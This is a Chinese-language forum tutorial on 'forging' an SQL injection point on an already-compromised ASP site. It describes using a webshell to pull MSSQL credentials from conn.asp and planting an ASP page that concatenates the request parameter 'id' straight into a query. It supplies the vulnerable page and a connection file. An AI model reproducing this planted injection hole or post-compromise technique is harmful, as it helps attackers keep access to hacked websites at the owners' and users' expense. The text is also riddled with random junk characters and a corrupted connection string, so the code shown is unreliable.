首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
6 k* j4 q6 L" X( DASP/Visual Basic代码
6 x! N! m* o( A( J; Q4 G9 h<!--#include file="xx.asp"--> & z, T% E R" m; U7 ]& x X
<% 8 S4 x- `+ M/ h) h& p% h; l/ V
set rs=server.createobject("ADODB.recordset") ) b. u3 e/ m0 r% ?
id = request("id") # P; t+ r0 C+ j+ ^; Y& F
strSQL = "select * from admin where id=" & id 9 L9 p- }) E5 p2 g7 q; `1 M
rs.open strSQL,conn,1,3
6 o% q8 m5 C9 W/ O: i+ Y. Jrs.close
* U. u! I) H8 s) u- H%> 3 a% w* n( [' S4 R
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
4 W5 _7 I6 @* u* G然后就要构造一个连接数据库的文件了,代码如下:
5 ]2 ~& ^2 p3 l& u# v" @! I" }ASP/Visual Basic代码
8 [: d: a( Y6 A( b# b+ G<% . N1 u1 v4 ~) {: \! l T
strSQLServerName = "000.000.000.000" '服务器名称或地址
, ~7 p0 j- `! R$ ~strSQLDBUserName = "sqlname" '数据库帐号
A# C* l. Y* b" u# a J9 f" E5 h& wstrSQLDBPassword = "sqlpass" '数据库密码
2 ~- ~7 p; S# A Y8 `strSQLDBName = "sqldataname" '数据库名称
3 A2 x, R6 D0 t! Y4 x: oSet conn = Server.CreateObject("ADODB.Connection") ) d) v/ R2 a+ P+ }
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" * K+ z& N+ x5 C+ a3 |5 F
conn.open strCon 8 B' Q, V5 a6 w' X: H4 r U7 y
%>
/ }. k6 \! M% A& ~" O- h4 x这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
' F- g Y) O' z! G# r6 q9 c: R |